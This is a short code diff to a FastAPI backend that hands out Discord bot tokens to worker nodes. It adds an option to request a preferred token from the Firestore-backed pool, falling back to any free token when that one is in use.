changes

drb-c2-core/app/routers/nodes.py

@@ -53,7 +53,8 @@ async def send_command(node_id: str, cmd: CommandPayload):
     payload = cmd.model_dump(exclude_none=True)
 
     if cmd.action == "discord_join":
-        token = await assign_token(node_id)
+        preferred = payload.pop("preferred_token_id", None)
+        token = await assign_token(node_id, preferred_token_id=preferred)
         if not token:
             raise HTTPException(503, "No Discord bot tokens available in the pool.")
         payload["token"] = token

drb-c2-core/app/routers/tokens.py

@@ -56,18 +56,23 @@ async def delete_token(token_id: str):
 # Internal helpers — used by the nodes router, not exposed via HTTP
 # ---------------------------------------------------------------------------
 
-async def assign_token(node_id: str) -> Optional[str]:
+async def assign_token(node_id: str, preferred_token_id: Optional[str] = None) -> Optional[str]:
     """
     Find a free token, mark it as in-use, return the token string.
+    If preferred_token_id is given, try that token first (only if it's free).
     Returns None if no tokens are available.
     """
-    def _find_free():
+    def _find_free(preferred: Optional[str]):
         from app.internal.firestore import db
+        if preferred:
+            snap = db.collection("bot_tokens").document(preferred).get()
+            if snap.exists and not snap.to_dict().get("in_use"):
+                return [snap]
         docs = db.collection("bot_tokens").where("in_use", "==", False).limit(1).stream()
         return [d for d in docs]
 
     import asyncio
-    results = await asyncio.to_thread(_find_free)
+    results = await asyncio.to_thread(_find_free, preferred_token_id)
     if not results:
         return None